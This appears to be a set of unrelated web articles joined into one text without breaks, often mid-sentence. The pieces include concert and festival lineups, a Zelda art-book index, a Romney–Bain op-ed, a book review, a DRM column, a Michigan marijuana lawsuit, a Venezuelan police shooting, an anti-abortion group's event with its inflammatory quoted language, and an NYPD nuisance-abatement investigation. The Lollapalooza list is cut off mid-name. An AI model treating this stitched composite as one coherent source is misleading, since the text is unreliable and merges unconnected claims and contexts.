Check out the full list of dates below. All tickets go on sale Friday, Aug. 1 at 10am EST.
Machine Head, Children of Bodom, Epica and Battlecross 2014 North American Tour:
10/04/14 - Denver, Colo. - Summit Music Hall
10/06/14 - Dallas, Texas - House of Blues
10/07/14 - Houston, Texas - House of Blues
10/09/14 - Orlando, Fla. - Hard Rock Live
10/10/14 - Atlanta, Ga. - Masquerade
10/11/14 - TBA
10/12/14 - Philadelphia, Pa. - Electric Factory
10/14/14 - Toronto, Ontario - The Sound Academy
10/15/14 - Montreal, Quebec - Metropolis
10/16/14 - New York, N.Y. - Terminal 5
10/17/14 - Worcester, Mass. - Palladium
10/18/14 - Cleveland, Ohio - Agora Theater
10/20/14 - Chicago, Ill. - Concord Music Hall
10/21/14 - Milwaukee, Wis. - The Rave
10/22/14 - Minneapolis, Minn. - Skyway Theater
10/24/14 - Saskatoon, Seskatchewan - O’Brians
10/26/14 - Edmonton, Alberta - Shaw Conference Center
10/28/14 - Vancouver, British Columbia - The Vogue – Vancouver, B.C.
10/29/14 - Seattle, Wash. - Showbox SODO
10/31/14 - Oakland, Calif. - Fox Theater
11/01/14 - Hollywood, Calif. - PalladiumDespite the date of its release being close to The Legend of Zelda series’ 25th anniversary, Skyward Sword serves as the prequel to all the other Zelda games. With the help of the Loftwings, Link navigates the world beyond his home continent of Skyloft.
Staff Interviews
None yet!
Screenshots
None yet!
Manga
• Himekawa’s Skyward Sword Prequel
Miscellaneous
None yet!
Hyrule Historia
Story
• Pg. 71 The Ancient Battle
• Pg. 72 Skyloft
• Pg. 73 The Gears of Fate
• Pg. 74 The Surface
• Pg. 75 The Gate of Time
• Pg. 76 Demise’s Defeat
Concept Art
• Pg. 6 & 7 Introduction
• Pg. 8 Link
• Pg. 9 Link & Loftwings
• Pg. 10 Zelda
• Pg. 11 More Zelda
• Pg. 12 Fi
• Pg. 13 More Fi
• Pg. 14 Ghirahim
• Pg. 15 More Ghirahim
• Pg. 16 Impa
• Pg. 17 The Imprisoned & Demise
• Pg. 18 The Overworld
• Pg. 19 More Overworld
• Pg. 20 Skyloft & the Islands in the Sky
• Pg. 21 More Skyloft & the Islands in the Sky
• Pg. 22 The Knight Academy
• Pg. 23 More The Knight Academy
• Pg. 24 Students of the Knight Academy
• Pg. 25 More Students of the Knight Academy
• Pg. 26 Bazaar
• Pg. 27 More Bazaar
• Pg. 28 Even More Bazaar
• Pg. 29 yet More Bazaar
• Pg. 30 Skyloftians
• Pg. 31 More Skyloftians & Houses
• Pg. 32 Even More Skyloftians
• Pg. 33 Skyloftians (Unused)
• Pg. 34 The Isle of the Goddess
• Pg. 35 The Sky Islands and People
• Pg. 36 The Lumpy Pumpkin
• Pg. 37 More Lumpy Pumpkin & Milk Bar
• Pg. 38 Thunderhead
• Pg. 39 More Thunderhead
• Pg. 40 Sealed Grounds
• Pg. 41 More Sealed Grounds
• Pg. 42 Faron Woods
• Pg. 43 The Big Tree & Skyview TempleIn my column "Why America Doesn't Need a CEO" a few weeks ago, I discussed why Mitt Romney's experience as CEO of private equity firm Bain Capital may not give him the right credentials for the White House. Based on reader feedback, I want to expand on this, specifically in the context of Bain.
There are two major private equity models in existence today. In the first one, a private equity firm invests its own money in a company and recovers that money over time from profits as well as through an eventual sale of the company. Returns are based on how much money the investor makes after recovering their original capital. This is a perfectly good model which has long served as a powerful engine for our capitalist system. New businesses require capital to grow and private equity firms provide that fuel.
Unfortunately, there is too much temptation for private equity firms to employ the second model, which is more lucrative but often destructive. Popularly dubbed the "Leveraged Buyout" or the "LBO" and glamorized by the famous practitioners of this dark art, especially in the '80s, the LBO is based on a dangerously simple idea -- buying a company using mostly debt and loading that debt onto the company's books. The concept is logical but also highly toxic, since the servicing of that debt puts a tremendous strain on the company's resources and can destroy its future. Not to mention that in the meantime, the private equity sponsor siphons off whatever profits the company makes through dividends to itself.
At the end of that process, companies usually wind up in one of two situations. Either the debt cannot be repaid and the company is forced into bankruptcy; or the private equity owner manages to sell the company (usually at a good profit) to another party, who promptly refinances the debt and rolls it over for another few years and till the next buyer emerges to continue this game... The net result of all this is a sort of indentured servitude for the company, which remains trapped under a debt overhang that retards its natural growth.
Another big consequence of the LBO is brutal cost-cutting that is imposed on the target company by the private equity owner in order to service the payments on the debt. There is simply no other way for the company to survive. In an ideal world, cost cutting should streamline a company's operations and make it more efficient but in reality private equity firms literally squeeze the life out of companies to support their buyout structure. This type of cost cutting leads to forced unemployment and a drastic reduction in productive business activities, which actually impedes the progress of the company rather than enhancing it. All the while, the private equity sponsor has taken minimal risk and even if the company is forced into bankruptcy, the owner can still come out ahead if it has sucked out enough cash in the meantime.
Not a bad business model if you are a private equity firm. Not so good though, for the company or the economy.
Which brings me back to Mitt Romney and Bain Capital, which utilizes the LBO model heavily in its business. For some perspective, according to a Wall Street Journal Report, Bain made 77 investments during Romney's tenure there. Of those, 22% either filed for bankruptcy reorganization (wiping out value for the lenders and leaving the companies as former shells of themselves) or outright shut down. Another 8% were just plain business disasters. Through all this, however, Bain made $2.5 billion of profit for its investors on a base of $1.1 billion. Handsome profits for some but dear losses for many.
Let's be clear. Romney does not need to apologize for being born rich or for making a lot of money. That is, after all, the American dream. But, how he made that money does matter, because the presidency of the United States is not just about a track record or success but about judgment. A person's judgment determines their choices and how Romney chose to make his money should be of utmost importance in the upcoming elections. Bain Capital may have been wildly successful with Romney as CEO but that success came at a heavy price for the companies that collapsed under the weight of Bain's investment methods.
In my previous column, I highlighted how the president must not just be an effective leader but a statesman with a broad view of the world. To demonstrate that quality, one needs to exhibit responsibility, judgment and sometimes personal sacrifice in many areas of life, including business. Mitt Romney chose to make his fortune in a way that might not be unethical but is still irresponsible and mercenary. He had a right to do that but the tradeoff is that he must now take responsibility for his choice. The philosophy that made Bain and its CEO wealthy is also destructive for our economy and nation, and that makes Romney a bad match for the White House.
Sure, he was governor, but the difference between that role and the presidency is vast. The powers of an American president and the impact his decisions can have on the direction of our country and the world cannot be compared to the smaller and more isolated dynamics of one state.
To sum it all up, if you relish the idea of electing someone who has made money through a business model that, in many instances, destroys value and has negative repercussions for our economy, then Romney is your man. But if you are looking for someone with the willingness to sacrifice personal gain for the sake of their nation's interests and whose judgment is sound, then Mitt Romney may be the wrong choice. Ironically, it is exactly his long and successful track record at Bain Capital that tells us who he is and what he believes, and those opportunistic beliefs run counter to the wider interests of our country.It’s no secret that we’re super pumped for Resident Evil VII: Biohazard, and the fact that it’s coming to the PlayStation in VR which means we’ll be able to step inside one of the scariest game franchises ever. If you want to take the VR experience up a notch and really get crazy though, there’s an official RE7 candle that you light while playing for total immersion.
The candle is called the “Resident Evil 7: Blood, Sweat and Fears 4D VR Candle” and it’s creators describe the smell as “old timber, leather, and maybe some blood…”. The idea of scented candles paired with VR is pretty awesome and I’m all for giving it a try. Hopefully the smell doesn’t linger though or you might have to hold off on inviting anyone over for a while. If you’re a Resident Evil pro the candle should last you through the game with about 20 hours of burn time. It’s currently priced at $15.99 and will be available here.
Resident Evil VII will be available on January 24th, 2017 for PC, PlayStation 4, PlayStation VR, and Xbox One.
[h/t] The VergeAbout the Book
The year is 3326. Nigel Sheldon, one of the founders of the Commonwealth, receives a visit from the Raiel—self-appointed guardians of the Void, the enigmatic construct at the core of the galaxy that threatens the existence of all that lives. The Raiel convince Nigel to participate in a desperate scheme to infiltrate the Void.
Once inside, Nigel discovers that humans are not the only life-forms to have been sucked into the Void, where the laws of physics are subtly different and mental powers indistinguishable from magic are commonplace. The humans trapped there are afflicted by an alien species of biological mimics—the Fallers—that are intelligent but merciless killers.
Yet these same aliens may hold the key to destroying the threat of the Void forever—if Nigel can uncover their secrets. As the Fallers’ relentless attacks continue, and the fragile human society splinters into civil war, Nigel must uncover the secrets of the Fallers—before he is killed by the very people he has come to save.
640 pages (hardcover)
Published on October 21, 2014
Published by Del Rey
Author’s webpage
Buy the book
This book was provided for me to review by the publisher.
—
First things first, I could easily be considered a Peter F. Hamilton fangirl. I have loved every single book of his that I’ve read. One of his series is on my list of series that I never want to end (so I’ve never read the last book). I’m not exactly sure how unbiased I can be in this review, because I went into this book thinking, “Yes! Space opera PFH style! I WILL LOVE THIS THING!” And I pretty much ended up doing just that.
The Abyss Beyond Dreams is far different than anything I expected it to be, and those differences might end up disappointing some readers, but they ended up charming me. Peter F. Hamilton is an author that has many fascets. While many readers will think of him and merge his name with “space opera,” there is so much more to the author than just that, and The Abyss Beyond Dreams shows another aspect of his talent. This book focuses very little on “space opera” and a whole lot on government, the forming and overthrowing of it.
Readers, be aware of that. Most of this book will take place off of space ships, and on a planet that is in many ways not as technologically advanced as our own.
It is not essential to read the previous Void books before you hit The Abyss Beyond Dreams, but I do think it would be incredibly helpful, as some events that previously happened are directly referenced and some of the details might not make much sense (which will directly impact the punch this novel has). However, if you’re one of those people that are good at filling in the gaps as you read, then you might be okay. Maybe.
Probably not.
At this point I’m having a hard time knowing what to say about the book. If you’re familiar with Hamilton, you know what to expect in regards of writing, style, characters and the like. There really isn’t a reason for me to go over all of that in a review. You know. I know. Let’s move on.
The Abyss Beyond Dreams is, like I mentioned above, far different than I expected it to be, and I think those differences will divide readers. However, it really showcases Hamilton’s skill with the details. He has created governments before in his books, but he’s never really created one quite like the one he created here. All of the details that went into it, and the complexities, as well as the struggles the characters/government faces are incredibly well thought out and very, very compelling. It’s obvious that he’s done a ton of research and put a lot of effort into all of it, and you know, that’s what really won me over regarding this book.
Because, wow.
Peter F. Hamilton worked hard to make things feel real, and while there are still the larger-than-life elements that are so familiar with the books he writes, they aren’t as prominent as they usually are in his books. This gives readers more time to focus on these details that might be easy to overlook in some of his other books. It’s good that it’s written this way, because it highlights just how versatile Hamilton is as an author. He doesn’t just write space opera, the man absolutely excels at intrigue, and plot twists.
His characters are just as interesting as the world he developed. Some are surprising, and there are the morally degraded ones that you’d expect. No one is strictly “good” or “evil,” which is a Hamilton trademark and one of the things I absolutely love about him. In the politically charged book he’s written, that moral ambiguity is one of the most important elements of the book and he really pulls it of with style. Everyone has their own goals and motivations, and it’s really interesting to see how Hamilton ties them all together, sometimes in incredibly subtle ways, to make the novel and the characters in it shine. There are a few characters who develop exactly as I expect, and a few others who ended up exactly opposite as I expected, which was absolutely delightful.
While there is so much I can say about this novel, I’m having a hard time writing any of it down. There is a lot that won me over, but it was the details, the obvious research, and how the book was exactly opposite of what I expected it to be that charmed me so much. This is the first half of a duology, and it went a long way toward explaining just what the Void was, a mystery that has haunted his books. There are a lot of questions answered that Hamilton has left readers through books and books, and there are a lot more that are asked, but promise to be answered soon.
The Abyss Beyond Dreams will be one of those books that either charms or disappoints readers, but it’s worth taking a look at, especially if you’re a Hamilton fan. He is an incredibly versatile author, and that versatility really shines in this novel. Full of intrigue, twists, turns, surprises and a ton of depth, The Abyss Beyond Dreams is different.
And that’s what makes it so damn good.
5/5 starsAt a technology conference this past Wednesday, Rupert Murdoch, chair of 21st Century Fox, argued that major media companies should develop their own video streaming service that could compete with Netflix and Amazon. His comments likely stemmed from worries that Netflix and Amazon are starting to gain more and more leverage over the traditional content providers. Given that other streaming services are having a tough time competing (Verizon’s foray into video streaming, Redbox Instant, is shutting down), those worries are well-founded.
Media companies don't have a great track record of competing head-to-head against specialized technology firms at the best of times, and in this case they would be starting from far behind. Fortunately, there’s one move media companies could could make that would set apart any new video streaming service they develop: they could ditch the DRM.
It's a pretty radical notion for traditional content providers, but it makes a lot of practical sense. The official reason for locking media up with DRM is to prevent it from being copied, on the theory that distributing content that can be copied will mean fewer sales of that content. But as we saw with the music industry, that argument doesn’t hold much water. Even though all of the major digital music stores have ditched DRM, digital music sales continue to grow. And this justification makes even less sense for locking down streaming video with DRM. After all, while people listen to the same songs over and over again, that's less true for TV shows and movies. After you watch an episode of a TV show, you often don’t watch it again: you move on to the next one. This means that even though someone might be able to download and re-watch a TV show they watched this week, they’ll still continue to pay a convenient subscription to be able to watch next week’s TV shows.
Another reason for using DRM is to prevent competition. We’ve seen e-books that can only be read by certain e-readers, printers that only accept ink cartridges from the same brand, and even garage door openers that only work with remotes from the same manufacturer. But in all of these cases the manufacturer is selling two or more different products. They want to make sure that once a customer buys one of their products (an e-reader, a printer, or a garage door opener) they’ll also be the only source for a customer who wants to buy matching accessories (e-books, ink cartridges, remotes). But this reasoning doesn’t make sense for media companies who want to sell streaming video, because they only have one product: the content. In fact, by ditching DRM media companies can guarantee that as many people as possible will be able to sign up for their service.
After all, DRM introduces unnecessary engineering complications. A streaming service without DRM is much easier to develop apps for, can be more easily integrated into smart TV products, and can otherwise foster all kinds of add-on innovation. (Plus it reduces the chances of DRM introducing unnecessary security risks into customers’ devices.) All of these opportunities means more potential subscribers, and that translates into more revenue, not less.
As we’ve been saying all along, interoperability and ease-of-use are the key factors that determine how someone will choose to access content. Lack of DRM makes it easier for customers to access content when they want, where they want, using the device they want. If the major media companies want to take back control over their work from companies like Amazon and Netflix, they would be wise to release their content directly to customers—without DRM.MUSKEGON, MI – Muskegon medical-marijuana advocates Derek Antol and Samantha Conklin have filed a federal civil-rights lawsuit, alleging drug-enforcement officers conducted unlawful searches and seizures July 9 of their homes and businesses and a "false arrest" of Antol's 12-year-old son before one of the searches.
Antol, 36, and Conklin, 24, were arrested Thursday, July 24, and charged with felonies for allegedly violating Michigan's medical marijuana law. Both remained in the Muskegon County Jail Monday, July 28, with cash or surety bond set at $100,000 for Antol and $50,000 for Conklin. Prosecutors said seven other people associated with Antol and Conklin also were being charged with felonies.
Antol's and Conklin's criminal attorney, Kevin Wistrom, on Friday said Antol and Conklin broke no laws. The Muskegon County Prosecutor's Office alleges that they and the other defendants did. According to the arrest warrants, the investigation by the West Michigan Enforcement Team, a multi-agency task force led by the Michigan State Police, dated back to 2010.
Samantha Conklin
Antol runs Deuces Wild Smoke Shop at 885 E. Apple Ave. in Muskegon and is a medical-marijuana cardholder. Conklin is a licensed caregiver authorized to dispense medical marijuana to patients.
Their civil-rights lawsuit filed Monday, July 28, alleges that eight drug-enforcement officers violated Antol's and Conklin's Fourth Amendment constitutional rights against unreasonable and unlawful searches and seizures, as well as Antol's son's right not to be falsely arrested.
The lawsuit contends that:
Drug-enforcement officers, accompanied by a Michigan Treasury agent claiming to be with a tobacco tax team, on July 9 entered Deuces Wild Smoke Smoke Shop. The officers allegedly demanded entry to a locked, separate business entity in the same building in which Conklin dispensed medical marijuana to patients, then unlawfully entered those premises without a search warrant after she refused to consent. There they "observed medical marijuana which was lawfully possessed under state law," according to the lawsuit.
After Antol showed up at 885 E. Apple, he told officers his Deuces Wild business was separate from the medical-marijuana entity in the same building. He also told them of two homes he was purchasing on land contract, one of them with Conklin.
Based on the marijuana observed at 885 E. Apple, officers prepared an affidavit for a search warrant at all three locations, failing to disclose in the affidavit that there were two separate business entities at 885 E. Apple. A court magistrate authorized a search warrant for all three addresses based on this affidavit.
The allegedly unlawful entry into the medical-marijuana business entity was unreasonable, violated Conklin's right to privacy and caused her "significant emotional distress due to being unable to provide her patients with relief from the pain, suffering, and debilitating medical conditions." Antol, the lawsuit says, suffered emotional distress and "interruption to his normal business operations."
Police at the Apple Avenue address seized surveillance equipment, cash register receipts, $124 cash, a computer and two cell phones from Antol as well as $1,160 cash, a cell phone and a 9-mm pistol from Conklin.
Police then, based on the allegedly invalid search warrants, searched Antol's home on North Green Creek Road in Laketon Township allegedly without probable cause, violating the constitutional privacy rights of Antol and two children present, damaging a closet door and seizing $19,209 cash from Antol and $1,409 from his 12-year-old son.
Police also searched the other residence on Farr Road allegedly without a valid cause, seizing scales, W-2 forms, a revolver, a heating pad and miscellaneous containers belonging to Conklin.
During the search of the Green Creek Road home, Antol's 12-year-old son was allegedly ordered from his bedroom at gunpoint and detained while officers waited for the search warrant to arrive, all allegedly without probable cause. That, the lawsuit alleges, was a violation of the boy's Fourth Amendment rights and of state law and caused him "humiliation, anxiety and loss of liberty."
The lawsuit seeks at least $25,000 in damages from each of the eight defendants.
WEMET officials could not immediately be reached for comment Monday morning.
John S. Hausman covers courts, prisons, the environment and local government for MLive/Muskegon Chronicle. Email him at jhausman@mlive.com and follow him on Twitter.At last, Lollapalooza has confirmed that the leaked lineup is indeed its real lineup, and also revealed the weekend’s day-by-day breakdown.
Nine Inch Nails and The Killers will headline Friday, August 2nd, appearing alongside Queens of the Stone Age, New Order, Band of Horses, Hot Chip, Crystal Castles, Disclosure, Father John Misty, Ghost B.C., Jessie Ware, Smith Westerns, Icona Pop, and Chance the Rapper.
Saturday, August 3rd will feature Mumford and Sons, The Postal Service, The National, Kendrick Lamar, The Lumineers, Azealia Banks, Local Natives, Death Grips, Haim, Unknown Mortal Orchestra, St. Lucia, Foals, Matt & Kim, Ellie Goulding, Reignwolf, and PUJOL.
The Cure and Phoenix will close out Sunday, August 4th, topping a lineup that also includes Vampire Weekend, Knife Party, Major Lazer, Skrillex’s Dog Blood, Cat Power, Beach House, Grizzly Bear, Tegan & Sara, Alt-J, Angel Haze, Baroness, Wavves, Wild Nothing, DIIV, Wild Belle, Palma Violets, The Orwells, SKATERS, and Guards.
Check out the full day-by-day breakdown below.
A limited number of single-day tickets will go on sale Wednesday, April 3rd via the festival’s website.
For our own analysis of the lineup, check out Lollapaloozas 2013 Lineup: One Day Later.
Friday, August 2nd:
The Killers
Nine Inch Nails
New Order
Queens Of The Stone Age
Steve Aoki
Thievery Corporation
Lana Del Rey
Flux Pavilion
Band Of Horses
Hot Chip
Crystal Castles
Imagine Dragons
Frightened Rabbit
Dillon Francis
Smith Westerns
Disclosure
Father John Misty
Ghost B.C.
Modestep
Emeli Sande
Jessie Ware
Atlas Genius
Timeflies
Theophilus London
Monsta
IO Echo
Icona Pop
Chance The Rapper
Lance Herbstrong
Robert DeLong
Deap Vally
Twenty One Pilots
San Cisco
Hey Marseilles
Keys N Krates
The Neighbourhood
Pacific Air
American Authors
Houndmouth
Brick + Mortar
D-Pryde
Brite Lite Brite
Saturday, August 3rd:
Mumford & Sons
The Postal Service
The National
The Lumineers
Kendrick Lamar
Eric Church
Steve Angello
Ellie Goulding
Azealia Banks
Local Natives
Dada Life
Matt & Kim
Foals
Death Grips
Court Yard Hounds
Adventure Club
Ben Howard
GriZ
Charles Bradley
Heartless Bastards
Baauer
HAIM
Unknown Mortal Orchestra
St. Lucia
Shovels & Rope
Little Green Cars
Family of the Year
360
The Bright Light Social Hour
Reignwolf
Pujol
Planet Hemp
Cole Plante
Lukas Nelson & P.O.T.R.
Blondfire
Frontier Ruckus
Wheeler Brothers
The Dunwells
Supreme Cuts
Cherub
Wild Cub
Brooke Waggoner
Beast Patrol
Sunday, August 4th:
The Cure
Phoenix
Vampire Weekend
Knife Party
Grizzly Bear
Major Lazer
Dog Blood
Two Door Cinema Club
Tegan and Sara
Beach House
Cat Power
2 Chainz
Alt-J
The Vaccines
DIIV
Alex Clare
Baroness
Lianne La Havas
Wild Nothing
Angel Haze
Wavves
Alvin Risk
Jake Bugg
Wild Belle
Art Department
MS MR
Family of the Year
360
Kill the Noise
SKAYTERS
The Or |
through a much less formal naming process. In a session at the Aspen Ideas Festival this morning, Daniel Limonadi, a senior flight systems engineer at the Jet Propulsion Laboratory, explained how scientists go about the epic work that is naming objects that human eyes are encountering for the first time.
It involves... theme weeks. Seriously.
"The scientists just make lists of names" within a given theme, Limonadi said, and as Curiosity comes across new objects of note on the Martian landscape, they assign names from those lists. "We'll just pick names from that theme set."
The themes are generally exploration-related -- things like, Limonadi said, "Viking exploration" or "the Spanish exploration of the Americas." (So not, alas, "Under the Sea" or "80s night" or "¡Fiesta!"... although there's a lot of Mars left to be discovered and only so many famous Vikings, so you never know.) The themes and lists come in handy, Limonadi explained, because scientists are exploring so many new mountains and trenches and plains (and rocknests and streambeds and impact craters) on Mars that they simply need a convenient way to discuss them all. It would be both annoying and impractical to refer to the Gale Crater as, say, Crater X."On August 12, 2018, Likoswe procured materials. Mushroom growing requires a clean base material in which mushroom spores can germinate (in this case, corn husks) and a relatively cool, dark space for mushrooms to grow. As shown in the pictures below, the project committee used wooden poles to build a shed to house the mushrooms. Community members covered the shed in grass and lined the structure with plastic. After sanitizing the corn husks in boiling water, Likoswe mixed the husks with mushroom seeds and stuffed the mixture into plastic bags with holes. Mushrooms grew from the bags. Mature mushrooms were harvested and sold, earning the community about $500. On January 10, 2019, the project halted because heavy rains damaged the shed and mushrooms inside. As of this moment, it is unclear whether the mushroom project will resume. It appears that residents working on the project decided to divvy up their profits instead of reinvesting them in another round of mushroom growing.Get breaking news and SI’s biggest stories instantly. Download the new Sports Illustrated app (iOS or Android) and personalize your experience by following your favorite teams and SI writers.
The Michigan football camp that was planned for Australia in June has been canceled, ProKick Australia announced Monday.
ProKick said the camp had been canceled due to NCAA rules, though the company did not say which ones.
Michigan planned the camp while it was embroiled in the NCAA’s drama over satellite camps. Michigan coach Jim Harbaugh had angered other coaches by aggressively appearing at practices around the country, a practice which was formerly banned by the SEC and ACC.
Despite the cancelation of the ProKick camp, Michigan still plans on holding a camp in Australia on the same day, just with a different host.
“Our plans won’t work, so they said they’ll be going to a new organizer at a different location on the same day,” ProKick Australia director Nathan Chapman said, according to MLive.
• Bottom line, not football success, could force Baylor to take action
Satellite camps were briefly banned by the Division I Council, but the decision was overturned by the NCAA’s Board of Directors.Image caption Karen Berendique had been travelling to a birthday party in Maracaibo
Several police officers have been arrested in Venezuela after the teenage daughter of a Chilean diplomat was shot dead in the western city of Maracaibo.
Karen Berendique, 19, died when police opened fire on the car she was in.
Police say the car - driven by the teenager's brother - failed to stop at a police checkpoint.
The officer in charge of the inquiry, Jose Humberto Ramirez, promised transparency and said a special commission had been set up.
Mr Ramirez said the shooting was an isolated incident which was not representative of the force as a whole.
Police said the officers had been looking for a gang involved in robberies and car thefts.
Ms Berendique's father, Fernando Berendique, who is the Chilean consul in Maracaibo, said his son had been driving his sister to a birthday party.
He said that they came across a police patrol who pointed guns at them, instead of asking them to stop.
The consul said his son panicked and the officers opened fire.
Mr Berendique said the car had six bullet holes in it. His daughter was hit three times.
"My God, what kind of people are they?" he asked.
"It is the product of irresponsibility and the product of a lack of respect for human life here," he said.
"It was the act of some functionaries who did not have a lot of experience and these are the the consequences."Operation Save America, the radical anti-choice group that grew out of the original Operation Rescue, will be holding a multi-day event in Montgomery, Alabama, in June to express its support for Alabama Chief Justice Roy Moore’s activism against marriage equality and abortion rights.
OSA head Rusty Lee Thomas writes in a press release today that the event will bring together “hundreds of gentle Christians from across the nation” for a march drawing on “the historical lessons of Birmingham, Montgomery, and Selma.”
A description of the event on the group’s website boasts that “[f]or years, Operation Save America has stood faithfully with Chief Justice Roy Moore, a poet, warrior, statesmen [sic].” It specifically praises Moore’s work to develop a legal framework to support radical anti-choice “personhood” laws and his ongoing standoff with the federal courts over marriage equality.
(In case you weren’t familiar with Moore’s poetry, here’s a representative example.)
OSA:
We are praying for God to record His name in Montgomery and by His Spirit bid His people come to bring the Gospel of the Kingdom to the gates of hell (Abortion mills in Alabama). They will not prevail against the Church of the living God (Matthew 16:18). They never have and they never will. Jesus is Lord! For years, Operation Save America has stood faithfully with Chief Justice Roy Moore, a poet, warrior, statesmen. Through his many battles, we supported his righteous stands in the face of persecution and tyranny. Today, the Alabama Supreme Court led by Chief Justice Moore continues to stand against injustice and once again we are going to come alongside to help. Moore, along with Justice Tom Parker, have rendered Decisions from the court that directly or indirectly have taken on Roe vs. Wade. Currently, Moore is acting faithfully as a Lower Magistrate to resist “Gay Marriage” in his state. He is taking another just stand and once again, we will stand with him. Alabama is also working on establishing “Personhood” for the preborn child who is made in the image of God. Alabamians are willing to stand upon the self-evident truth established by God’s Word and we our coming to stand with them. There are at least four death camps in Alabama still applying their grisly trade to murder babies made in the image of God. This evil defiles the land and invokes God’s judgments upon us. We are coming to stand in the gap and make up the hedge. We want to give God a reason to show mercy in the midst of the American holocaust.
It’s not surprising that Operation Save America, one of the most radical anti-choice groups in the country, would find ideological kinship with Justice Moore.
Thomas has claimed that the September 11, 2001 attacks were divine punishment for legal abortion. OSA’s former director, Flip Benham (father of the new Religious Right martyrs David and Jason Benham), also used the organization to promote a fringe right agenda:Nuisance Abatement The NYPD’s Aggressive Enforcement of a Little-known Law
Amid outrage over a law that empowers the NYPD to remove people from their homes without giving them the opportunity to go before a judge, the de Blasio administration is resisting legislative reforms.
City Hall argues that safeguards are already in place to protect the rights of defendants, and that any changes can be handled internally.
But two lawyers who have worked the front lines, both representing the NYPD in these types of cases, told the Daily News that the department routinely skirts the law and does nothing to make sure innocent people aren’t kicked to the curb.
The law - known as nuisance abatement - uses civil suits to uproot illegal activities conducted in both homes and businesses. Unlike in most cities, the NYPD can initiate these cases by requesting a secret order from a judge closing the premises before the occupants have been notified or given a chance to defend themselves.
But the NYPD, the lawyers said, brings the cases to court without so much as checking if anyone still lives at the home they are seeking to close, or if its targets have been exonerated of the criminal charges on which the nuisance abatement actions are based.
The lawyers requested anonymity before describing a process both were involved with as part of the NYPD’s Civil Enforcement Unit.
In making its case, the unit skirts the law - rarely, if ever, presenting a required photographic inventory of illicit materials found at the premises upon serving the closing orders, the lawyers said.
The NYPD also violates state law by failing to seal documents in criminal cases that have been dismissed, the lawyers said. As a result, they sometimes wind up filed as exhibits in nuisance abatement actions.
But none of that seemed to faze some judges, who routinely signed off on the secret closing orders and settlements that bar people from homes, sometimes for life. A judge who has signed several such orders was also unaware of the required inventories and told the Daily News “never once” have such inventories been provided.
The NYPD and Mayor Bill de Blasio deferred requests for comment to the city Law Department.
The Law Department did not address the two lawyers’ claims, but the department head Zachary Carter said in a statement that the city is still committed to using nuisance abatement to “address community complaints of criminal activity while at the same time ensuring that residents are treated fairly.”
Carter said the use of ex parte orders - the legal term for when an order is sought without the other party present - would be reviewed “to ensure that such orders would only be used in cases of appropriate urgency.”
Overall, the two lawyers who spoke to the Daily News depicted a slipshod operation, basing court filings on police vouchers that list contraband seized during an investigation.
“Everything is kind of like, you know boilerplate, like fill in the blanks or whatever,” one of the lawyers told the Daily News. “Like we get the vouchers, we just plug in the time, the date. Like there’s a lot of mistakes in these (nuisance abatement) orders, you know? Like a lot of them are just a mess.”
The Law Department, tasked with reviewing every case before it is filed, amounted to little more than a “rubber stamp,” the lawyers said. They could not recall one instance when anyone from the Law Department raised a major concern about a case.
In an investigation published last month, the Daily News and ProPublica reviewed 1,162 cases filed during 2013 and the first half of 2014, and found roughly 43% were filed against residences, predominately over alleged drug sales.
The Daily News/ProPublica found that many of the targets pleaded guilty to moving large amounts of narcotics through their apartments. But more than half who gave up their leases or were barred from homes - 173 in total - were not convicted of, or in some cases even prosecuted for a crime stemming from the underlying police investigation.
The revelations contained in the Daily News/ProPublica investigation sparked an outcry from elected officials, with calls for an independent probe.
Congressman Hakeem Jeffries (D-Brooklyn/Queens) said Thursday that the NYPD’s procedures raise serious constitutional concerns. Troubled that minorities are unfairly targeted, he plans to bring “concerns that have been raised around the nuisance abatement program” to the Department of Justice’s Civil Rights Unit.
Over 18 months, 90% of the homes subjected to such actions were in minority communities. the Daily News/ProPublica investigation identified the race of 215 of the 297 people who were barred from homes in nuisance abatement battles. Only five were white.
Several City Council members said they are in the process of drafting legislation to add stricter requirements to the law, and Speaker Melissa Mark-Viverito’s office said they are studying the issue “extensively.”
In response to the Daily News/ProPublica’s earlier investigation, NYPD Commissioner Bill Bratton and Carter, the city’s top lawyer, held a closed-door briefing on Feb. 25 with City Council members. Some of the Council members were contemplating changes to the law.
Several in attendance told the Daily News that police showed no intention of curtailing their use of secret closing orders, despite Bratton’s statement at a press conference just two weeks earlier that this aspect of the program would be “changing very quickly.”
The Council members said Bratton assured them the NYPD could work out any problems with the program in-house.
“That’s been their constant position,” said Councilman Mark Levine (D-Manhattan), who was at the briefing. “Every issue related to policing policy, including this one, they strongly resist legislative action by the council. They believe that their internal policy-making suffices.”
But Levine said he’s still pursuing changes to the law, and expects the council to introduce a package of bills in the coming weeks.
“We have a democracy and a duly elected body, and it’s our job to draft laws in the interest of the city and we will certainly continue to do so,” he said.
The NYPD Is Kicking People Out of Their Homes, Even If They Haven’t Committed a Crime And it’s happening almost exclusively in minority neighborhoods. Read the story. NYC Mayor Wants ‘Due Process,’ But Doesn’t Object to Secret Orders Tossing Tenants The mayor’s office also said there would be a review of the NYPD’s nuisance abatement program, but later clarified it would be by the same agency that has been approving the filings. Read the story.
Carter said the council members were given a detailed presentation of the measures taken “to ensure that residents not involved in criminal activity are never summarily excluded from their homes and that they will always have the protections of the courts to ensure that they receive due process.”
The NYPD emphasizes that nuisance abatement cases are adjudicated separately from criminal cases, and that the two have no bearing on one another. Critics say therein lies the problem.
Criminal cases have more safeguards because the district attorney’s office independently vets allegations made by the police, and defendants have the right to an attorney. In nuisance abatement cases, the police prosecute their own allegations, and because there is no right to a court-appointed attorney in civil court, the vast majority of residential tenants end up fending for themselves.
The attorneys who spoke to the Daily News said it was routine practice within the Civil Enforcement Unit to simply “fill in the blanks” on nuisance abatement filings with documents forwarded to them by detectives without any further scrutiny.
“We have no idea what the reality is, we just go by the property voucher,” said one attorney, referring to a document from the property clerk’s office that lists items obtained during investigations or arrests.
“It’s not clear to me that Commissioner Bratton should be effectively running a private litigation department paid for by tax payer dollars without meaningful oversight or scrutiny,” Jeffries said. “The Law Department should reassume its role of prosecuting these abatement cases in a manner that has been consistent with the way separation between police and the Law Department has traditionally occurred.”
The attorneys also said there was a push to keep numbers up, and that they had their own incentive to maintain a high volume of cases because serving orders, which can extend past midnight, was the only way to make overtime. Payroll data on some attorneys assigned to nuisance abatement cases showed they earned an average of $24,000 in overtime during the 2013 fiscal year, or an average a 21% boost in pay.
NYPD officials did lay out modest changes at the February briefing: They said they are trying to make sure no more than three months passes between the last alleged offense and their request for closing orders, and would specify who the orders bar from homes, rather than asking for a blanket closure.
The NYPD maintains that officers serving notices have refrained from displacing small children and the elderly.
